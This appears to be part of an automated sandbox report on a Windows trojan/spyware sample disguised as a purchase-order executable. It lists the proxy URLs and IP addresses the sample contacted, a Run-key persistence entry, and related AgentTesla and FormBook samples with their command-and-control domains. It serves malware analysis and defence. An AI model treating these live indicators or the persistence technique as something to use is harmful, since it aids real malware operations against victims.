http://51.81.186.179:51405://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD272FA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://183.234.215.11:8443://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD281B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://86.107.178.103:3128://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD284FC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://62.141.70.118:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.43.179.160:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://174.64.199.82:4145://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD272FA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://162.214.225.223:40536	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.205.110.118:15430	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD272FA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://211.234.125.5:443	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://115.240.163.31	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://160.3.168.70:8080	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://32.223.6.94:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.169.23.170:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2797F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://161.97.173.42:50386://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://96.113.158.126://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD284FC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.234.24.105:8880	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.29.129.53:14464://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://145.239.199.109:3128	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://141.95.160.178:5870	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.17.166.210:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD271DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://116.199.168	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://144.91.106.93:3128	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28141000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://223.25.100.42:2222://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://114.99.13.192:8004://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.131.8.27:5678	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.247.163.246:3825	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.241.6.97:45629://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://84.241.8.234:8080	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://137.184.200.42:8000://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2779F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://5.135.83.214:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.168.210.239:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2779F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.129.250.183	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.75.122.245:999://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://45.174.87.18:999://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://162.214.165.6:42624://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://37.26.223.96:9080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://35.207.123.94://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://187.210.136	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://185.49.31.207:8081://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
93.171.243.253	unknown	Czech Republic	8870	OVDC-ASUA	false
212.110.188.202	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
24.230.33.96	unknown	United States	11232	MIDCO-NETUS	false
43.128.107.251	unknown	Japan	4249	LILLY-ASUS	false
182.160.100.156	unknown	Bangladesh	24323	AAMRA-NETWORKS-AS-APaamranetworkslimitedBD	false
50.169.37.50	unknown	United States	7922	COMCAST-7922US	false
103.216.51.36	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	true
193.143.1.201	unknown	unknown	57271	BITWEB-ASRU	true
78.90.252.7	unknown	Bulgaria	20911	NETSURF-AS-BG	false
82.137.245.31	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
193.124.189.13	unknown	Russian Federation	35196	IHOR-ASRU	false
177.67.136.241	unknown	Brazil	52663	TurboBSBTecnologiasemRedeLtdaBR	false
51.15.139.15	unknown	France	12876	OnlineSASFR	false
181.78.11.217	unknown	Argentina	52468	UFINETPANAMASAPA	false
194.44.177.225	unknown	Ukraine	3255	UARNET-ASUARNetUA	false
94.154.152.9	unknown	Albania	209842	CYBEXEREE	false
89.168.121.175	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
181.78.11.218	unknown	Argentina	52468	UFINETPANAMASAPA	false
139.224.64.191	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
94.154.152.4	unknown	Albania	209842	CYBEXEREE	false
41.155.190.214	unknown	Egypt	37069	MOBINILEG	false
13.234.24.116	unknown	United States	16509	AMAZON-02US	false
180.178.104.110	unknown	Indonesia	38758	HYPERNET-AS-IDPTHIPERNETINDODATAID	false
31.43.63.70	unknown	Ukraine	50581	UTGUA	false
103.4.118.130	unknown	Bangladesh	38203	ADNTELECOMLTD-BDADNTelecomLtdBD	false
103.74.229.133	unknown	Bangladesh	131340	TAQWAIT-AS-APMdMozammelHoquetaTaqwaITBD	false
52.35.240.119	unknown	United States	16509	AMAZON-02US	false
103.25.210.102	unknown	Indonesia	132653	B-LINK-AS-IDPTTransdataSejahteraID	false
101.51.121.29	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
146.19.106.42	unknown	France	7726	FITC-ASUS	false
51.81.89.146	unknown	United States	16276	OVHFR	false
46.17.63.166	unknown	United Kingdom	39326	HSO-GROUPGB	false
114.129.2.82	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
62.171.131.101	unknown	United Kingdom	51167	CONTABODE	true
216.74.255.182	unknown	United States	11215	LOGIXCOMM-ASUS	false
103.220.205.162	unknown	Bangladesh	59362	KSNETWORK-AS-APKSNetworkLimitedBD	false
38.127.172.219	unknown	United States	174	COGENT-174US	false
14.161.17.4	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
183.164.254.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
103.47.93.252	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
194.9.80.1	unknown	unknown	206495	IR-SADRA-20180529IR	false
212.110.188.222	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
148.135.119.4	unknown	Sweden	158	ERI-ASUS	false
202.162.105.202	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false
67.205.177.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
212.110.188.220	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
14.232.160.247	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
185.215.53.241	unknown	Armenia	205368	FNETAM	false
67.213.210.115	unknown	United States	32780	HOSTINGSERVICES-INCUS	false
67.213.210.118	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
172.67.200.220	unknown	United States	13335	CLOUDFLARENETUS	false
38.253.88.242	unknown	United States	174	COGENT-174US	false
13.59.156.167	unknown	United States	16509	AMAZON-02US	false
34.176.113.148	unknown	United States	2686	ATGS-MMD-ASUS	false
212.110.188.216	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.242	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.211	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.236	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
101.95.182.26	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
212.110.188.213	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
35.207.123.94	unknown	United States	19527	GOOGLE-2US	false
183.215.23.242	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
103.189.96.98	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
103.153.63.211	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
96.80.235.1	unknown	United States	7922	COMCAST-7922US	false
129.18.164.130	unknown	Nigeria	36923	SWIFTNG-ASNNG	false
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
188.40.44.95	unknown	Germany	24940	HETZNER-ASDE	false
103.99.27.26	unknown	unknown	136920	GARDAMORLDA-AS-APGardamorLdaTL	false
188.163.170.130	unknown	Ukraine	15895	KSNET-ASUA	false
81.250.223.126	unknown	France	3215	FranceTelecom-OrangeFR	false
218.252.244.126	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
191.101.1.116	unknown	Chile	61317	ASDETUKhttpwwwheficedcomGB	false
94.131.14.66	unknown	Ukraine	29632	NASSIST-ASGI	false
103.47.93.231	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.207	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.225	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
118.173.230.19	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
51.15.139.59	unknown	France	12876	OnlineSASFR	false
104.17.9.114	unknown	United States	13335	CLOUDFLARENETUS	false
121.129.47.25	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
45.235.16.121	unknown	Brazil	267406	AGOBrasilInternetLtdaBR	false
112.78.161.191	unknown	Indonesia	17451	BIZNET-AS-APBIZNETNETWORKSID	false
200.174.198.95	unknown	Brazil	4230	CLAROSABR	false
20.33.5.27	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
45.224.247.102	unknown	Brazil	266925	UPIXNETWORKSBR	false
45.190.78.50	unknown	unknown	269702	CAMPINETINTERNETVIARADIOEIRELIBR	false
103.47.93.221	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
103.47.93.220	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
185.36.191.240	unknown	Ukraine	42159	DELTAHOST-ASUA	false
103.216.49.233	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	false
180.104.0.161	unknown	China	137702	CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince	false
172.67.181.9	unknown	United States	13335	CLOUDFLARENETUS	false
14.143.172.238	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
103.47.93.219	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
104.236.0.129	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
38.127.179.100	unknown	United States	174	COGENT-174US	false
103.47.93.216	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
185.167.59.215	unknown	Moldova Republic of	43783	CAGHETPLUS-ASMoldtelecomMD	false
14.232.235.13	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1406752
Start date and time:	2024-03-11 16:41:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	POs#U034fx#U034fl#U034fx#U034f..exe renamed because original name is a hash value
Original Sample Name:	POsxlx..exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/8@6/100
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 91 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.1.234.136, 23.1.234.146
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target YZbrmyt.exe, PID 2656 because it is empty
Execution Graph export aborted for target YZbrmyt.exe, PID 42928 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: POs#U034fx#U034fl#U034fx#U034f..exe

Simulations

Behavior and APIs

Time	Type	Description
16:42:16	API Interceptor	121x Sleep call for process: POs#U034fx#U034fl#U034fx#U034f..exe modified
16:42:40	API Interceptor	58235x Sleep call for process: InstallUtil.exe modified
16:42:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run YZbrmyt C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe
16:42:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run YZbrmyt C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
93.171.243.253	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
212.110.188.202	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	HtfOQz42tN.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	3011574829.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	75C8OqdJUQ.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
24.230.33.96	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
us2.smtp.mailhostbox.com	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	Draft BL Copy & Shipping Documents.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.91.198.143
	SecuriteInfo.com.Win32.PWSX-gen.19078.13674.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	WHW6mWPjVa.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	EHV24HNVTw.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	mzRBHkLlrA.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.91.198.143
	SecuriteInfo.com.Win32.PWSX-gen.19918.11804.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	PDF Order no. 20242902-70611 05.03.2024. - DIV GROUP.PDF.img.bat.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	2024-03 CV Forner Eugenia.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	arbejdsommere.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.91.199.224
ktxcomay.com.vn	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	222.255.238.159
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	222.255.238.159
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
github.com	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.3
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	140.82.112.3
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	140.82.114.4
	rustdesk-1.2.4-x86_64 ITSUR.exe	Get hash	malicious	BazaLoader	Browse	140.82.114.3
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	140.82.112.4
api.ipify.org	kG1Tx7fx4AwIo7C.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ekstre_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ORDER-240321007.exe	Get hash	malicious	GuLoader	Browse	104.26.13.205
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	qO7JURaOlaa6Jav.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://sikj6qmalx.ogielialia.tech	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	RFQ.xls	Get hash	malicious	AgentTesla	Browse	104.26.13.205
www.avis.com.hn	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	104.21.84.251
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	104.21.84.251
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	172.67.199.231
	reimainternatio.exe	Get hash	malicious	FormBook	Browse	104.21.84.251
	cJVeMuYr6y.exe	Get hash	malicious	Unknown	Browse	104.21.84.251

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BYTEMARK-ASGB	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
OVDC-ASUA	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	https://waltondev2.com/c.php	Get hash	malicious	Phisher	Browse	93.171.243.253
	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
MIDCO-NETUS	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	24.230.33.96
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	24.230.33.96
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
LILLY-ASUS	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	General Specifications - INVACO PVT.exe	Get hash	malicious	FormBook	Browse	43.132.235.125
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	43.128.107.251
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	43.128.107.251
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
